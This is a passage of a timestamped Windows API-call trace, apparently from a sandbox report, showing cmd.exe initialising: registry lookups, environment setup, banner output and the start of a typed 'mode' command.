ulOptions=0x0, samDesired=0x2000000, phkResult=0x25e8b8 | out: phkResult=0x25e8b8*=0x44) returned 0x0 [0175.824] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x25e8b0, lpData=0x25e8d0, lpcbData=0x25e8b4*=0x1000 | out: lpType=0x25e8b0*=0x0, lpData=0x25e8d0*=0x18, lpcbData=0x25e8b4*=0x1000) returned 0x2 [0175.824] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x25e8b0, lpData=0x25e8d0, lpcbData=0x25e8b4*=0x1000 | out: lpType=0x25e8b0*=0x4, lpData=0x25e8d0*=0x1, lpcbData=0x25e8b4*=0x4) returned 0x0 [0175.824] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x25e8b0, lpData=0x25e8d0, lpcbData=0x25e8b4*=0x1000 | out: lpType=0x25e8b0*=0x0, lpData=0x25e8d0*=0x1, lpcbData=0x25e8b4*=0x1000) returned 0x2 [0175.824] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x25e8b0, lpData=0x25e8d0, lpcbData=0x25e8b4*=0x1000 | out: lpType=0x25e8b0*=0x4, lpData=0x25e8d0*=0x0, lpcbData=0x25e8b4*=0x4) returned 0x0 [0175.824] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x25e8b0, lpData=0x25e8d0, lpcbData=0x25e8b4*=0x1000 | out: lpType=0x25e8b0*=0x4, lpData=0x25e8d0*=0x40, lpcbData=0x25e8b4*=0x4) returned 0x0 [0175.824] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x25e8b0, lpData=0x25e8d0, lpcbData=0x25e8b4*=0x1000 | out: lpType=0x25e8b0*=0x4, lpData=0x25e8d0*=0x40, lpcbData=0x25e8b4*=0x4) returned 0x0 [0175.824] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x25e8b0, lpData=0x25e8d0, lpcbData=0x25e8b4*=0x1000 | out: lpType=0x25e8b0*=0x0, lpData=0x25e8d0*=0x40, lpcbData=0x25e8b4*=0x1000) returned 0x2 [0175.824] RegCloseKey (hKey=0x44) returned 0x0 [0175.824] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x25e8b8 | out: phkResult=0x25e8b8*=0x44) returned 0x0 [0175.824] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x25e8b0, lpData=0x25e8d0, lpcbData=0x25e8b4*=0x1000 | out: lpType=0x25e8b0*=0x0, lpData=0x25e8d0*=0x40, lpcbData=0x25e8b4*=0x1000) returned 0x2 [0175.824] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x25e8b0, lpData=0x25e8d0, lpcbData=0x25e8b4*=0x1000 | out: lpType=0x25e8b0*=0x4, lpData=0x25e8d0*=0x1, lpcbData=0x25e8b4*=0x4) returned 0x0 [0175.824] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x25e8b0, lpData=0x25e8d0, lpcbData=0x25e8b4*=0x1000 | out: lpType=0x25e8b0*=0x0, lpData=0x25e8d0*=0x1, lpcbData=0x25e8b4*=0x1000) returned 0x2 [0175.824] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x25e8b0, lpData=0x25e8d0, lpcbData=0x25e8b4*=0x1000 | out: lpType=0x25e8b0*=0x4, lpData=0x25e8d0*=0x0, lpcbData=0x25e8b4*=0x4) returned 0x0 [0175.825] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x25e8b0, lpData=0x25e8d0, lpcbData=0x25e8b4*=0x1000 | out: lpType=0x25e8b0*=0x4, lpData=0x25e8d0*=0x9, lpcbData=0x25e8b4*=0x4) returned 0x0 [0175.825] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x25e8b0, lpData=0x25e8d0, lpcbData=0x25e8b4*=0x1000 | out: lpType=0x25e8b0*=0x4, lpData=0x25e8d0*=0x9, lpcbData=0x25e8b4*=0x4) returned 0x0 [0175.825] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x25e8b0, lpData=0x25e8d0, lpcbData=0x25e8b4*=0x1000 | out: lpType=0x25e8b0*=0x0, lpData=0x25e8d0*=0x9, lpcbData=0x25e8b4*=0x1000) returned 0x2 [0175.825] RegCloseKey (hKey=0x44) returned 0x0 [0175.825] time (in: timer=0x0 | out: timer=0x0) returned 0x5db208a8 [0175.825] srand (_Seed=0x5db208a8) [0175.825] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0175.825] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0175.825] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a2fc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0175.825] GetProcessHeap () returned 0x350000 [0175.825] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x218) returned 0x36aa10 [0175.825] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x36aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0175.826] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a2ef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0175.826] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a2ef360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0175.826] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a2ef360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0175.826] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0175.826] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0175.826] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0175.826] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0175.826] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0175.826] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0175.826] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0175.826] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0175.826] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0175.826] GetProcessHeap () returned 0x350000 [0175.826] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x3694f0 | out: hHeap=0x350000) returned 1 [0175.826] GetEnvironmentStringsW () returned 0x368a60* [0175.826] GetProcessHeap () returned 0x350000 [0175.826] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xa94) returned 0x36ac30 [0175.827] FreeEnvironmentStringsW (penv=0x368a60) returned 1 [0175.827] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a2ef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0175.827] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a2ef360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0175.827] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0175.827] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0175.827] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0175.827] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0175.827] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0175.827] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0175.827] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0175.827] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0175.827] GetProcessHeap () returned 0x350000 [0175.827] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x38) returned 0x366490 [0175.827] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x25f6c0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0175.827] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x25f6c0, lpFilePart=0x25f6a0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x25f6a0*="system32") returned 0x13 [0175.827] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0175.827] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x25f3d0 | out: lpFindFileData=0x25f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Windows", cAlternateFileName="")) returned 0x36b6d0 [0175.827] FindClose (in: hFindFile=0x36b6d0 | out: hFindFile=0x36b6d0) returned 1 [0175.828] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x25f3d0 | out: lpFindFileData=0x25f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcc95fc50, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xcc95fc50, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="System32", cAlternateFileName="")) returned 0x36b6d0 [0175.828] FindClose (in: hFindFile=0x36b6d0 | out: hFindFile=0x36b6d0) returned 1 [0175.828] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0175.828] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0175.828] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0175.828] GetProcessHeap () returned 0x350000 [0175.828] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ac30 | out: hHeap=0x350000) returned 1 [0175.828] GetEnvironmentStringsW () returned 0x36ac30* [0175.828] GetProcessHeap () returned 0x350000 [0175.828] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xac4) returned 0x368a60 [0175.828] FreeEnvironmentStringsW (penv=0x36ac30) returned 1 [0175.828] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a2fc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0175.828] GetProcessHeap () returned 0x350000 [0175.828] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x366490 | out: hHeap=0x350000) returned 1 [0175.828] GetProcessHeap () returned 0x350000 [0175.828] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x4016) returned 0x36ac30 [0175.828] GetProcessHeap () returned 0x350000 [0175.829] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ac30 | out: hHeap=0x350000) returned 1 [0175.829] GetConsoleOutputCP () returned 0x1b5 [0175.829] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a2fbfe0 | out: lpCPInfo=0x4a2fbfe0) returned 1 [0175.829] GetUserDefaultLCID () returned 0x409 [0175.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a2f7b50, cchData=8 | out: lpLCData=":") returned 2 [0175.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x25f7d0, cchData=128 | out: lpLCData="0") returned 2 [0175.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x25f7d0, cchData=128 | out: lpLCData="0") returned 2 [0175.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x25f7d0, cchData=128 | out: lpLCData="1") returned 2 [0175.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a30a740, cchData=8 | out: lpLCData="/") returned 2 [0175.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a30a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0175.849] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a30a460, cchData=32 | out: lpLCData="Tue") returned 4 [0175.849] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a30a420, cchData=32 | out: lpLCData="Wed") returned 4 [0175.849] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a30a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0175.849] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a30a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0175.849] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a30a360, cchData=32 | out: lpLCData="Sat") returned 4 [0175.849] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a30a700, cchData=32 | out: lpLCData="Sun") returned 4 [0175.849] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a2f7b40, cchData=8 | out: lpLCData=".") returned 2 [0175.849] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a30a4e0, cchData=8 | out: lpLCData=",") returned 2 [0175.849] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0175.850] GetProcessHeap () returned 0x350000 [0175.850] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x0, Size=0x20c) returned 0x3695a0 [0175.850] GetConsoleTitleW (in: lpConsoleTitle=0x3695a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0175.851] _get_osfhandle (_FileHandle=1) returned 0xf4 [0175.851] GetFileType (hFile=0xf4) returned 0x3 [0175.851] BrandingFormatString () returned 0x3697c0 [0175.856] GetVersion () returned 0x1db10106 [0175.856] _vsnwprintf (in: _Buffer=0x25f940, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x25f8d8 | out: _Buffer="6.1.7601") returned 8 [0175.856] _get_osfhandle (_FileHandle=1) returned 0xf4 [0175.856] GetFileType (hFile=0xf4) returned 0x3 [0175.856] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a306340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0175.856] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a306340, nSize=0x2000, Arguments=0x25f8e0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0175.856] _get_osfhandle (_FileHandle=1) returned 0xf4 [0175.856] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a2fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0175.856] WriteFile (in: hFile=0xf4, lpBuffer=0x4a2fc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x25f868, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesWritten=0x25f868*=0x24, lpOverlapped=0x0) returned 1 [0175.857] _vsnwprintf (in: _Buffer=0x4a306340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x25f908 | out: _Buffer="\r\n") returned 2 [0175.857] _get_osfhandle (_FileHandle=1) returned 0xf4 [0175.857] GetFileType (hFile=0xf4) returned 0x3 [0175.857] _get_osfhandle (_FileHandle=1) returned 0xf4 [0175.857] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a2fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0175.857] WriteFile (in: hFile=0xf4, lpBuffer=0x4a2fc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x25f8d8, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesWritten=0x25f8d8*=0x2, lpOverlapped=0x0) returned 1 [0175.857] _vsnwprintf (in: _Buffer=0x4a306340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x25f908 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0175.857] _get_osfhandle (_FileHandle=1) returned 0xf4 [0175.857] GetFileType (hFile=0xf4) returned 0x3 [0175.857] _get_osfhandle (_FileHandle=1) returned 0xf4 [0175.857] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a2fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0175.857] WriteFile (in: hFile=0xf4, lpBuffer=0x4a2fc320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x25f8d8, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesWritten=0x25f8d8*=0x3f, lpOverlapped=0x0) returned 1 [0175.857] _vsnwprintf (in: _Buffer=0x4a306340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x25f908 | out: _Buffer="\r\n") returned 2 [0175.857] _get_osfhandle (_FileHandle=1) returned 0xf4 [0175.857] GetFileType (hFile=0xf4) returned 0x3 [0175.857] _get_osfhandle (_FileHandle=1) returned 0xf4 [0175.857] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a2fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0175.857] WriteFile (in: hFile=0xf4, lpBuffer=0x4a2fc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x25f8d8, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesWritten=0x25f8d8*=0x2, lpOverlapped=0x0) returned 1 [0175.858] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77420000 [0175.858] GetProcAddress (hModule=0x77420000, lpProcName="CopyFileExW") returned 0x774323d0 [0175.858] GetProcAddress (hModule=0x77420000, lpProcName="IsDebuggerPresent") returned 0x77428290 [0175.858] GetProcAddress (hModule=0x77420000, lpProcName="SetConsoleInputExeNameW") returned 0x774317e0 [0175.858] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.858] GetFileType (hFile=0xe8) returned 0x3 [0175.858] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0175.858] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x25f730 | out: TokenHandle=0x25f730*=0x0) returned 0xc000007c [0175.858] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x25f730 | out: TokenHandle=0x25f730*=0x50) returned 0x0 [0175.859] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x25f740, TokenInformationLength=0x4, ReturnLength=0x25f748 | out: TokenInformation=0x25f740, ReturnLength=0x25f748) returned 0x0 [0175.859] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x25f748, TokenInformationLength=0x4, ReturnLength=0x25f740 | out: TokenInformation=0x25f748, ReturnLength=0x25f740) returned 0x0 [0175.859] NtClose (Handle=0x50) returned 0x0 [0175.859] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x25f710, nSize=0x0, Arguments=0x25f718 | out: lpBuffer="韀6") returned 0xf [0175.859] GetProcessHeap () returned 0x350000 [0175.859] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x218) returned 0x369be0 [0175.859] GetConsoleTitleW (in: lpConsoleTitle=0x25f760, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0175.859] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0175.859] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0175.868] GetProcessHeap () returned 0x350000 [0175.868] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x369be0 | out: hHeap=0x350000) returned 1 [0175.868] LocalFree (hMem=0x3697c0) returned 0x0 [0175.868] GetProcessHeap () returned 0x350000 [0175.868] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36aa10 | out: hHeap=0x350000) returned 1 [0175.868] _vsnwprintf (in: _Buffer=0x4a306340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x25f448 | out: _Buffer="\r\n") returned 2 [0175.868] _get_osfhandle (_FileHandle=1) returned 0xf4 [0175.868] GetFileType (hFile=0xf4) returned 0x3 [0175.868] _get_osfhandle (_FileHandle=1) returned 0xf4 [0175.868] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a2fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0175.869] WriteFile (in: hFile=0xf4, lpBuffer=0x4a2fc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x25f418, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesWritten=0x25f418*=0x2, lpOverlapped=0x0) returned 1 [0175.869] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a2ef360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0175.869] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a2fc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0175.869] _vsnwprintf (in: _Buffer=0x4a2eeb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x25f458 | out: _Buffer="C:\\Windows\\system32") returned 19 [0175.869] _vsnwprintf (in: _Buffer=0x4a2eeb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x25f458 | out: _Buffer=">") returned 1 [0175.869] _get_osfhandle (_FileHandle=1) returned 0xf4 [0175.869] GetFileType (hFile=0xf4) returned 0x3 [0175.869] _get_osfhandle (_FileHandle=1) returned 0xf4 [0175.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a2fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0175.869] WriteFile (in: hFile=0xf4, lpBuffer=0x4a2fc320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x25f448, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesWritten=0x25f448*=0x14, lpOverlapped=0x0) returned 1 [0175.869] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.869] GetFileType (hFile=0xe8) returned 0x3 [0175.869] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.869] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.869] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.869] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0175.870] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.870] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.870] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0175.870] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.870] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.870] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0175.870] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.870] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.870] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0175.870] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.870] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.870] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.870] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.870] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.870] ReadFile (in: hFile=0xe8, lpBuffer=0x4a2fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x25f748, lpOverlapped=0x0 | out: lpBuffer=0x4a2fc320*, lpNumberOfBytesRead=0x25f748*=0x1, lpOverlapped=0x0) returned 1 [0175.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a2fc320, cbMultiByte=1, lpWideCharStr=0x4a2fe32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0175.870] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.870] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.870] ReadFile (in: 